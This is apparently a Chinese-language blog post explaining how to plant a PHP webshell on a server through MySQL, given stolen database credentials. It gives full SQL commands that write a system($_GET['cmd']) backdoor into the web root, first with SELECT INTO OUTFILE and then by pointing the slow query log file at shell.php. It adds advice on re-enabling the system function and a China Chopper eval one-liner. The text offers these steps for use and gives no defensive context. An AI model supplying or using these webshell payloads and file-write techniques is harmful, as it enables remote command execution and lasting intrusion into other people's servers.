Mysql写入php代码实现webshell

Zss 发表于:
建立在已经获取到了Mysql账号密码进一步对后台的控制

通过mysql插入一条php代码记录输出到http服务器工作目录下,通过url传参来交给php系统命令函数来执行获取返回结果,若权限等足够可以直接创建新的账号密码来远程登录

(1).可以先查看一下mysql的能写的文件 secure_file_priv
show global variables like '%secure%';
secure_file_priv的值为null,表示限制mysqld不允许导入/导出
secure_file_priv的值为D:/,表示限制mysqld的导入/导出只能发生在D盘目录下
secure_file_priv没有具体值时,表示不对mysqld的导入/导出做限制

(2).若没有做限制的情况,则可以先创建一张表
CREATE table test2(id text) type=MyISAM,若失败那么尝试
CREATE table test2(id text) engine=MyISAM

(3).想表中插入一条数据,数据为php的代码,意思为给参数,来调用系统函数来执行返回结果
insert into test2(id) VALUES('<pre><?php @system($_GET["cmd"]);?></pre>')

(4).查询创建的表数据输出到shell.php中,也是可能存在权限不够的问题
SELECT * into OUTFILE '/home/wwwroot/shell.php' from test2

若无法通过第一种办法直接输出文件那么可以尝试慢查询日志的方式写文件

(1).默认情况下,查询到默认慢查询日志禁用 OFF
show VARIABLES like '%slow_query_log%';

(2).设置slow_query_log为ON
set global slow_query_log=1;

(3).此时的查询到默认慢查询日志开启 ON
show VARIABLES like '%slow_query_log%';

(4).输出文件,可能因为权限的问题没法生成,这也是可能的,这个文件的目录位置需要时HTTP服务器的工作目录,不然没法解析
具体工作目录,可以通过phpinfo等一些其他的方式来获取到这些信息
set GLOBAL slow_query_log_file='/home/wwwroot/shell.php'

(5).输出代码到shell.php
SELECT '<?php phpinfo();?>' or sleep(11) 输出phpinfo
SELECT '<pre><?php @system($_GET["cmd"]);?></pre>' or sleep(11) 获取cmd参数后台直接调用返回结果

可能存在的问题:
可能执行权限不够出现:Access denied,shell.php打不开
输入了返回信息为空,可能关闭了system函数,有些是默认关闭的
在php.ini中的disable_functions,应当去掉system

insert into test (testname) values('<pre><body bgcolor=silver><? @system($_GET["cmd"]); ?></body></pre>')

一句话的菜刀连接,连接的密码:是参数cmd

<?php @eval($_POST['cmd']); ?>